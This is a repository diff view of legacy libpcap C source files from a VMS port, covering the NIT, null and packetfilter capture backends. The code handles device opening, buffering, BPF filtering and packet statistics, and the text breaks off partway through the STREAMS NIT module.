* Engineering Group at Lawrence Berkeley Laboratory.
* 4. Neither the name of the University nor of the Laboratory may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#) $Header: /tcpdump/master/libpcap/pcap-namedb.h,v 1.8 2000/07/29 07:36:43 guy Exp $ (LBL)
*/
#ifndef lib_pcap_ethers_h
#define lib_pcap_ethers_h
#ifdef __cplusplus
extern "C" {
#endif
/*
* As returned by the pcap_next_etherent()
* XXX this stuff doesn't belong in this interface, but this
* library already must do name to address translation, so
* on systems that don't have support for /etc/ethers, we
* export these hooks since they'll
*/
struct pcap_etherent {
u_char addr[6];
char name[122];
};
#ifndef PCAP_ETHERS_FILE
#define PCAP_ETHERS_FILE "/etc/ethers"
#endif
struct pcap_etherent *pcap_next_etherent(FILE *);
u_char *pcap_ether_hostton(const char*);
u_char *pcap_ether_aton(const char *);
bpf_u_int32 **pcap_nametoaddr(const char *);
#ifdef INET6
struct addrinfo *pcap_nametoaddrinfo(const char *);
#endif
bpf_u_int32 pcap_nametonetaddr(const char *);
int pcap_nametoport(const char *, int *, int *);
int pcap_nametoproto(const char *);
int pcap_nametoeproto(const char *);
/*
* If a protocol is unknown, PROTO_UNDEF is returned.
* Also, pcap_nametoport() returns the protocol along with the port number.
* If there are ambiguous entried in /etc/services (i.e. domain
* can be either tcp or udp) PROTO_UNDEF is returned.
*/
#define PROTO_UNDEF -1
/* XXX move these to pcap-int.h? */
int __pcap_atodn(const char *, bpf_u_int32 *);
int __pcap_atoin(const char *, bpf_u_int32 *);
u_short __pcap_nametodnaddr(const char *);
#ifdef __cplusplus
}
#endif
#endif

View File

@@ -0,0 +1,273 @@
/*
* Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the University of California,
* Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/pcap-nit.c,v 1.42 2002/07/11 09:06:39 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <sys/types.h>
#include <sys/time.h>
#include <sys/timeb.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/nit.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <netinet/ip_var.h>
#include <netinet/udp.h>
#include <netinet/udp_var.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>
#include <ctype.h>
#include <errno.h>
#include <stdio.h>
#include "pcap-int.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
/*
* The chunk size for NIT. This is the amount of buffering
* done for read calls.
*/
#define CHUNKSIZE (2*1024)
/*
* The total buffer space used by NIT.
*/
#define BUFSPACE (4*CHUNKSIZE)
/* Forwards */
static int nit_setflags(int, int, int, char *);
int
pcap_stats(pcap_t *p, struct pcap_stat *ps)
{
/*
* "ps_recv" counts packets handed to the filter, not packets
* that passed the filter. As filtering is done in userland,
* this does not include packets dropped because we ran out
* of buffer space.
*
* "ps_drop" presumably counts packets dropped by the socket
* because of flow control requirements or resource exhaustion;
* it doesn't count packets dropped by the interface driver.
* As filtering is done in userland, it counts packets regardless
* of whether they would've passed the filter.
*
* These statistics don't include packets not yet read from the
* kernel by libpcap or packets not yet read from libpcap by the
* application.
*/
*ps = p->md.stat;
return (0);
}
int
pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
{
register int cc, n;
register struct bpf_insn *fcode = p->fcode.bf_insns;
register u_char *bp, *cp, *ep;
register struct nit_hdr *nh;
register int caplen;
cc = p->cc;
if (cc == 0) {
cc = read(p->fd, (char *)p->buffer, p->bufsize);
if (cc < 0) {
if (errno == EWOULDBLOCK)
return (0);
snprintf(p->errbuf, sizeof(p->errbuf), "pcap_read: %s",
pcap_strerror(errno));
return (-1);
}
bp = p->buffer;
} else
bp = p->bp;
/*
* Loop through each packet. The increment expression
* rounds up to the next int boundary past the end of
* the previous packet.
*/
n = 0;
ep = bp + cc;
while (bp < ep) {
nh = (struct nit_hdr *)bp;
cp = bp + sizeof(*nh);
switch (nh->nh_state) {
case NIT_CATCH:
break;
case NIT_NOMBUF:
case NIT_NOCLUSTER:
case NIT_NOSPACE:
p->md.stat.ps_drop = nh->nh_dropped;
continue;
case NIT_SEQNO:
continue;
default:
snprintf(p->errbuf, sizeof(p->errbuf),
"bad nit state %d", nh->nh_state);
return (-1);
}
++p->md.stat.ps_recv;
bp += ((sizeof(struct nit_hdr) + nh->nh_datalen +
sizeof(int) - 1) & ~(sizeof(int) - 1));
caplen = nh->nh_wirelen;
if (caplen > p->snapshot)
caplen = p->snapshot;
if (bpf_filter(fcode, cp, nh->nh_wirelen, caplen)) {
struct pcap_pkthdr h;
h.ts = nh->nh_timestamp;
h.len = nh->nh_wirelen;
h.caplen = caplen;
(*callback)(user, &h, cp);
if (++n >= cnt && cnt >= 0) {
p->cc = ep - bp;
p->bp = bp;
return (n);
}
}
}
p->cc = 0;
return (n);
}
static int
nit_setflags(int fd, int promisc, int to_ms, char *ebuf)
{
struct nit_ioc nioc;
memset(&nioc, 0, sizeof(nioc));
nioc.nioc_bufspace = BUFSPACE;
nioc.nioc_chunksize = CHUNKSIZE;
nioc.nioc_typetomatch = NT_ALLTYPES;
nioc.nioc_snaplen = p->snapshot;
nioc.nioc_bufalign = sizeof(int);
nioc.nioc_bufoffset = 0;
if (to_ms != 0) {
nioc.nioc_flags |= NF_TIMEOUT;
nioc.nioc_timeout.tv_sec = to_ms / 1000;
nioc.nioc_timeout.tv_usec = (to_ms * 1000) % 1000000;
}
if (promisc)
nioc.nioc_flags |= NF_PROMISC;
if (ioctl(fd, SIOCSNIT, &nioc) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "SIOCSNIT: %s",
pcap_strerror(errno));
return (-1);
}
return (0);
}
pcap_t *
pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf)
{
int fd;
struct sockaddr_nit snit;
register pcap_t *p;
p = (pcap_t *)malloc(sizeof(*p));
if (p == NULL) {
strlcpy(ebuf, pcap_strerror(errno), PCAP_ERRBUF_SIZE);
return (NULL);
}
if (snaplen < 96)
/*
* NIT requires a snapshot length of at least 96.
*/
snaplen = 96;
memset(p, 0, sizeof(*p));
p->fd = fd = socket(AF_NIT, SOCK_RAW, NITPROTO_RAW);
if (fd < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE,
"socket: %s", pcap_strerror(errno));
goto bad;
}
snit.snit_family = AF_NIT;
(void)strncpy(snit.snit_ifname, device, NITIFSIZ);
if (bind(fd, (struct sockaddr *)&snit, sizeof(snit))) {
snprintf(ebuf, PCAP_ERRBUF_SIZE,
"bind: %s: %s", snit.snit_ifname, pcap_strerror(errno));
goto bad;
}
p->snapshot = snaplen;
nit_setflags(p->fd, promisc, to_ms, ebuf);
/*
* NIT supports only ethernets.
*/
p->linktype = DLT_EN10MB;
p->bufsize = BUFSPACE;
p->buffer = (u_char *)malloc(p->bufsize);
if (p->buffer == NULL) {
strlcpy(ebuf, pcap_strerror(errno), PCAP_ERRBUF_SIZE);
goto bad;
}
return (p);
bad:
if (fd >= 0)
close(fd);
free(p);
return (NULL);
}
int
pcap_platform_finddevs(pcap_if_t **alldevsp, char *errbuf)
{
return (0);
}
int
pcap_setfilter(pcap_t *p, struct bpf_program *fp)
{
if (install_bpf_program(p, fp) < 0)
return (-1);
return (0);
}

View File

@@ -0,0 +1,19 @@
/*
* Copyright (c) 1990, 1994
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms are permitted
* provided that the above copyright notice and this paragraph are
* duplicated in all such forms and that any documentation,
* advertising materials, and other materials related to such
* distribution and use acknowledge that the software was developed
* by the University of California, Lawrence Berkeley Laboratory,
* Berkeley, CA. The name of the University may not be used to
* endorse or promote products derived from this software without
* specific prior written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
* WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*
* @(#) $Header: /tcpdump/master/libpcap/pcap-nit.h,v 1.2.1.1 1999/10/07 23:46:40 mcr Exp $ (LBL)
*/

View File

@@ -0,0 +1,80 @@
/*
* Copyright (c) 1994, 1995, 1996
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the University of California,
* Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/pcap-null.c,v 1.14 2002/07/11 09:06:41 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <sys/param.h> /* optionally get BSD define */
#include <string.h>
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#include "pcap-int.h"
static char nosup[] = "live packet capture not supported on this system";
int
pcap_stats(pcap_t *p, struct pcap_stat *ps)
{
(void)snprintf(p->errbuf, sizeof(p->errbuf), "pcap_stats: %s", nosup);
return (-1);
}
int
pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
{
(void)snprintf(p->errbuf, sizeof(p->errbuf), "pcap_read: %s", nosup);
return (-1);
}
pcap_t *
pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf)
{
(void)strlcpy(ebuf, nosup, PCAP_ERRBUF_SIZE);
return (NULL);
}
int
pcap_platform_finddevs(pcap_if_t **alldevsp, char *errbuf)
{
return (0);
}
int
pcap_setfilter(pcap_t *p, struct bpf_program *fp)
{
if (p->sf.rfile == NULL) {
(void)snprintf(p->errbuf, sizeof(p->errbuf),
"pcap_setfilter: %s", nosup);
return (-1);
}
if (install_bpf_program(p, fp) < 0)
return (-1);
return (0);
}

437
Pcap-VMS/pcap-vci/pcap-pf.c Normal file
View File

@@ -0,0 +1,437 @@
/*
* Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the University of California,
* Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*
* packet filter subroutines for tcpdump
* Extraction/creation by Jeffrey Mogul, DECWRL
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/pcap-pf.c,v 1.69 2002/08/03 20:22:27 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <sys/types.h>
#include <sys/time.h>
#include <sys/timeb.h>
#include <sys/socket.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <net/pfilt.h>
struct mbuf;
struct rtentry;
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <netinet/ip_var.h>
#include <netinet/udp.h>
#include <netinet/udp_var.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>
#include <ctype.h>
#include <errno.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "pcap-int.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
/*
* BUFSPACE is the size in bytes of the packet read buffer. Most tcpdump
* applications aren't going to need more than 200 bytes of packet header
* and the read shouldn't return more packets than packetfilter's internal
* queue limit (bounded at 256).
*/
#define BUFSPACE (200 * 256)
int
pcap_read(pcap_t *pc, int cnt, pcap_handler callback, u_char *user)
{
register u_char *p, *bp;
struct bpf_insn *fcode;
register int cc, n, buflen, inc;
register struct enstamp *sp;
#ifdef LBL_ALIGN
struct enstamp stamp;
#endif
#ifdef PCAP_FDDIPAD
register int pad;
#endif
fcode = pc->md.use_bpf ? NULL : pc->fcode.bf_insns;
again:
cc = pc->cc;
if (cc == 0) {
cc = read(pc->fd, (char *)pc->buffer + pc->offset, pc->bufsize);
if (cc < 0) {
if (errno == EWOULDBLOCK)
return (0);
if (errno == EINVAL &&
lseek(pc->fd, 0L, SEEK_CUR) + pc->bufsize < 0) {
/*
* Due to a kernel bug, after 2^31 bytes,
* the kernel file offset overflows and
* read fails with EINVAL. The lseek()
* to 0 will fix things.
*/
(void)lseek(pc->fd, 0L, SEEK_SET);
goto again;
}
snprintf(pc->errbuf, sizeof(pc->errbuf), "pf read: %s",
pcap_strerror(errno));
return (-1);
}
bp = pc->buffer + pc->offset;
} else
bp = pc->bp;
/*
* Loop through each packet.
*/
n = 0;
#ifdef PCAP_FDDIPAD
if (pc->linktype == DLT_FDDI)
pad = pcap_fddipad;
else
pad = 0;
#endif
while (cc > 0) {
if (cc < sizeof(*sp)) {
snprintf(pc->errbuf, sizeof(pc->errbuf),
"pf short read (%d)", cc);
return (-1);
}
#ifdef LBL_ALIGN
if ((long)bp & 3) {
sp = &stamp;
memcpy((char *)sp, (char *)bp, sizeof(*sp));
} else
#endif
sp = (struct enstamp *)bp;
if (sp->ens_stamplen != sizeof(*sp)) {
snprintf(pc->errbuf, sizeof(pc->errbuf),
"pf short stamplen (%d)",
sp->ens_stamplen);
return (-1);
}
p = bp + sp->ens_stamplen;
buflen = sp->ens_count;
if (buflen > pc->snapshot)
buflen = pc->snapshot;
/* Calculate inc before possible pad update */
inc = ENALIGN(buflen + sp->ens_stamplen);
cc -= inc;
bp += inc;
#ifdef PCAP_FDDIPAD
p += pad;
buflen -= pad;
#endif
pc->md.TotPkts++;
pc->md.TotDrops += sp->ens_dropped;
pc->md.TotMissed = sp->ens_ifoverflows;
if (pc->md.OrigMissed < 0)
pc->md.OrigMissed = pc->md.TotMissed;
/*
* Short-circuit evaluation: if using BPF filter
* in kernel, no need to do it now.
*/
if (fcode == NULL ||
bpf_filter(fcode, p, sp->ens_count, buflen)) {
struct pcap_pkthdr h;
pc->md.TotAccepted++;
h.ts = sp->ens_tstamp;
#ifdef PCAP_FDDIPAD
h.len = sp->ens_count - pad;
#else
h.len = sp->ens_count;
#endif
h.caplen = buflen;
(*callback)(user, &h, p);
if (++n >= cnt && cnt > 0) {
pc->cc = cc;
pc->bp = bp;
return (n);
}
}
}
pc->cc = 0;
return (n);
}
int
pcap_stats(pcap_t *p, struct pcap_stat *ps)
{
/*
* If packet filtering is being done in the kernel:
*
* "ps_recv" counts only packets that passed the filter.
* This does not include packets dropped because we
* ran out of buffer space. (XXX - perhaps it should,
* by adding "ps_drop" to "ps_recv", for compatibility
* with some other platforms. On the other hand, on
* some platforms "ps_recv" counts only packets that
* passed the filter, and on others it counts packets
* that didn't pass the filter....)
*
* "ps_drop" counts packets that passed the kernel filter
* (if any) but were dropped because the input queue was
* full.
*
* "ps_ifdrop" counts packets dropped by the network
* inteface (regardless of whether they would have passed
* the input filter, of course).
*
* If packet filtering is not being done in the kernel:
*
* "ps_recv" counts only packets that passed the filter.
*
* "ps_drop" counts packets that were dropped because the
* input queue was full, regardless of whether they passed
* the userland filter.
*
* "ps_ifdrop" counts packets dropped by the network
* inteface (regardless of whether they would have passed
* the input filter, of course).
*
* These statistics don't include packets not yet read from
* the kernel by libpcap, but they may include packets not
* yet read from libpcap by the application.
*/
ps->ps_recv = p->md.TotAccepted;
ps->ps_drop = p->md.TotDrops;
ps->ps_ifdrop = p->md.TotMissed - p->md.OrigMissed;
return (0);
}
pcap_t *
pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf)
{
pcap_t *p;
short enmode;
int backlog = -1; /* request the most */
struct enfilter Filter;
struct endevp devparams;
p = (pcap_t *)malloc(sizeof(*p));
if (p == NULL) {
snprintf(ebuf, PCAP_ERRBUF_SIZE,
"pcap_open_live: %s", pcap_strerror(errno));
return (0);
}
memset(p, 0, sizeof(*p));
p->fd = pfopen(device, O_RDONLY);
if (p->fd < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "pf open: %s: %s\n\
your system may not be properly configured; see the packetfilter(4) man page\n",
device, pcap_strerror(errno));
goto bad;
}
p->md.OrigMissed = -1;
enmode = ENTSTAMP|ENBATCH|ENNONEXCL;
if (promisc)
enmode |= ENPROMISC;
if (ioctl(p->fd, EIOCMBIS, (caddr_t)&enmode) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "EIOCMBIS: %s",
pcap_strerror(errno));
goto bad;
}
#ifdef ENCOPYALL
/* Try to set COPYALL mode so that we see packets to ourself */
enmode = ENCOPYALL;
(void)ioctl(p->fd, EIOCMBIS, (caddr_t)&enmode);/* OK if this fails */
#endif
/* set the backlog */
if (ioctl(p->fd, EIOCSETW, (caddr_t)&backlog) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "EIOCSETW: %s",
pcap_strerror(errno));
goto bad;
}
/* discover interface type */
if (ioctl(p->fd, EIOCDEVP, (caddr_t)&devparams) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "EIOCDEVP: %s",
pcap_strerror(errno));
goto bad;
}
/* HACK: to compile prior to Ultrix 4.2 */
#ifndef ENDT_FDDI
#define ENDT_FDDI 4
#endif
switch (devparams.end_dev_type) {
case ENDT_10MB:
p->linktype = DLT_EN10MB;
p->offset = 2;
break;
case ENDT_FDDI:
p->linktype = DLT_FDDI;
break;
#ifdef ENDT_SLIP
case ENDT_SLIP:
p->linktype = DLT_SLIP;
break;
#endif
#ifdef ENDT_PPP
case ENDT_PPP:
p->linktype = DLT_PPP;
break;
#endif
#ifdef ENDT_LOOPBACK
case ENDT_LOOPBACK:
/*
* It appears to use Ethernet framing, at least on
* Digital UNIX 4.0.
*/
p->linktype = DLT_EN10MB;
p->offset = 2;
break;
#endif
#ifdef ENDT_TRN
case ENDT_TRN:
p->linktype = DLT_IEEE802;
break;
#endif
default:
/*
* XXX - what about ENDT_IEEE802? The pfilt.h header
* file calls this "IEEE 802 networks (non-Ethernet)",
* but that doesn't specify a specific link layer type;
* it could be 802.4, or 802.5 (except that 802.5 is
* ENDT_TRN), or 802.6, or 802.11, or.... That's why
* DLT_IEEE802 was hijacked to mean Token Ring in various
* BSDs, and why we went along with that hijacking.
*
* XXX - what about ENDT_HDLC and ENDT_NULL?
* Presumably, as ENDT_OTHER is just "Miscellaneous
* framing", there's not much we can do, as that
* doesn't specify a particular type of header.
*/
snprintf(ebuf, PCAP_ERRBUF_SIZE, "unknown data-link type %u",
devparams.end_dev_type);
goto bad;
}
/* set truncation */
#ifdef PCAP_FDDIPAD
if (p->linktype == DLT_FDDI)
/* packetfilter includes the padding in the snapshot */
snaplen += pcap_fddipad;
#endif
if (ioctl(p->fd, EIOCTRUNCATE, (caddr_t)&snaplen) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "EIOCTRUNCATE: %s",
pcap_strerror(errno));
goto bad;
}
p->snapshot = snaplen;
/* accept all packets */
memset(&Filter, 0, sizeof(Filter));
Filter.enf_Priority = 37; /* anything > 2 */
Filter.enf_FilterLen = 0; /* means "always true" */
if (ioctl(p->fd, EIOCSETF, (caddr_t)&Filter) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "EIOCSETF: %s",
pcap_strerror(errno));
goto bad;
}
if (to_ms != 0) {
struct timeval timeout;
timeout.tv_sec = to_ms / 1000;
timeout.tv_usec = (to_ms * 1000) % 1000000;
if (ioctl(p->fd, EIOCSRTIMEOUT, (caddr_t)&timeout) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "EIOCSRTIMEOUT: %s",
pcap_strerror(errno));
goto bad;
}
}
p->bufsize = BUFSPACE;
p->buffer = (u_char*)malloc(p->bufsize + p->offset);
return (p);
bad:
if (p->fd >= 0)
close(p->fd);
free(p);
return (NULL);
}
int
pcap_platform_finddevs(pcap_if_t **alldevsp, char *errbuf)
{
return (0);
}
int
pcap_setfilter(pcap_t *p, struct bpf_program *fp)
{
/*
* See if BIOCSETF works. If it does, the kernel supports
* BPF-style filters, and we do not need to do post-filtering.
*/
p->md.use_bpf = (ioctl(p->fd, BIOCSETF, (caddr_t)fp) >= 0);
if (p->md.use_bpf) {
struct bpf_version bv;
if (ioctl(p->fd, BIOCVERSION, (caddr_t)&bv) < 0) {
snprintf(p->errbuf, sizeof(p->errbuf),
"BIOCVERSION: %s", pcap_strerror(errno));
return (-1);
}
else if (bv.bv_major != BPF_MAJOR_VERSION ||
bv.bv_minor < BPF_MINOR_VERSION) {
fprintf(stderr,
"requires bpf language %d.%d or higher; kernel is %d.%d",
BPF_MAJOR_VERSION, BPF_MINOR_VERSION,
bv.bv_major, bv.bv_minor);
/* don't give up, just be inefficient */
p->md.use_bpf = 0;
}
} else {
if (install_bpf_program(p, fp) < 0)
return (-1);
}
/*XXX this goes in tcpdump*/
if (p->md.use_bpf)
fprintf(stderr, "tcpdump: Using kernel BPF filter\n");
else
fprintf(stderr, "tcpdump: Filtering in user process\n");
return (0);
}

View File

@@ -0,0 +1,19 @@
/*
* Copyright (c) 1990, 1994
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms are permitted
* provided that the above copyright notice and this paragraph are
* duplicated in all such forms and that any documentation,
* advertising materials, and other materials related to such
* distribution and use acknowledge that the software was developed
* by the University of California, Lawrence Berkeley Laboratory,
* Berkeley, CA. The name of the University may not be used to
* endorse or promote products derived from this software without
* specific prior written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
* WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*
* @(#) $Header: /tcpdump/master/libpcap/pcap-pf.h,v 1.2.1.1 1999/10/07 23:46:40 mcr Exp $ (LBL)
*/

View File

@@ -0,0 +1,331 @@
/*
* Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the University of California,
* Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*
* Modifications made to accommodate the new SunOS4.0 NIT facility by
* Micky Liu, micky@cunixc.cc.columbia.edu, Columbia University in May, 1989.
* This module now handles the STREAMS based NIT.
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/pcap-snit.c,v 1.58 2002/08/25 21:13:52 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <sys/types.h>
#include <sys/time.h>
#include <sys/timeb.h>
#include <sys/dir.h>
#include <sys/fcntlcom.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stropts.h>
#include <net/if.h>
#include <net/nit.h>
#include <net/nit_if.h>
#include <net/nit_pf.h>
#include <net/nit_buf.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <netinet/ip_var.h>
#include <netinet/udp.h>
#include <netinet/udp_var.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>
#include <ctype.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "pcap-int.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
/*
* The chunk size for NIT. This is the amount of buffering
* done for read calls.
*/
#define CHUNKSIZE (2*1024)
/*
* The total buffer space used by NIT.
*/
#define BUFSPACE (4*CHUNKSIZE)
/* Forwards */
static int nit_setflags(int, int, int, char *);
int
pcap_stats(pcap_t *p, struct pcap_stat *ps)
{
/*
* "ps_recv" counts packets handed to the filter, not packets
* that passed the filter. As filtering is done in userland,
* this does not include packets dropped because we ran out
* of buffer space.
*
* "ps_drop" counts packets dropped inside the "/dev/nit"
* device because of flow control requirements or resource
* exhaustion; it doesn't count packets dropped by the
* interface driver, or packets dropped upstream. As filtering
* is done in userland, it counts packets regardless of whether
* they would've passed the filter.
*
* These statistics don't include packets not yet read from the
* kernel by libpcap or packets not yet read from libpcap by the
* application.
*/
*ps = p->md.stat;
return (0);
}
int
pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
{
register int cc, n;
register struct bpf_insn *fcode = p->fcode.bf_insns;
register u_char *bp, *cp, *ep;
register struct nit_bufhdr *hdrp;
register struct nit_iftime *ntp;
register struct nit_iflen *nlp;
register struct nit_ifdrops *ndp;
register int caplen;
cc = p->cc;
if (cc == 0) {
cc = read(p->fd, (char *)p->buffer, p->bufsize);
if (cc < 0) {
if (errno == EWOULDBLOCK)
return (0);
snprintf(p->errbuf, sizeof(p->errbuf), "pcap_read: %s",
pcap_strerror(errno));
return (-1);
}
bp = p->buffer;
} else
bp = p->bp;
/*
* loop through each snapshot in the chunk
*/
n = 0;
ep = bp + cc;
while (bp < ep) {
++p->md.stat.ps_recv;
cp = bp;
/* get past NIT buffer */
hdrp = (struct nit_bufhdr *)cp;
cp += sizeof(*hdrp);
/* get past NIT timer */
ntp = (struct nit_iftime *)cp;
cp += sizeof(*ntp);
ndp = (struct nit_ifdrops *)cp;
p->md.stat.ps_drop = ndp->nh_drops;
cp += sizeof *ndp;
/* get past packet len */
nlp = (struct nit_iflen *)cp;
cp += sizeof(*nlp);
/* next snapshot */
bp += hdrp->nhb_totlen;
caplen = nlp->nh_pktlen;
if (caplen > p->snapshot)
caplen = p->snapshot;
if (bpf_filter(fcode, cp, nlp->nh_pktlen, caplen)) {
struct pcap_pkthdr h;
h.ts = ntp->nh_timestamp;
h.len = nlp->nh_pktlen;
h.caplen = caplen;
(*callback)(user, &h, cp);
if (++n >= cnt && cnt >= 0) {
p->cc = ep - bp;
p->bp = bp;
return (n);
}
}
}
p->cc = 0;
return (n);
}
static int
nit_setflags(int fd, int promisc, int to_ms, char *ebuf)
{
bpf_u_int32 flags;
struct strioctl si;
struct timeval timeout;
si.ic_timout = INFTIM;
if (to_ms != 0) {
timeout.tv_sec = to_ms / 1000;
timeout.tv_usec = (to_ms * 1000) % 1000000;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char *)&timeout;
if (ioctl(fd, I_STR, (char *)&si) < 0) {
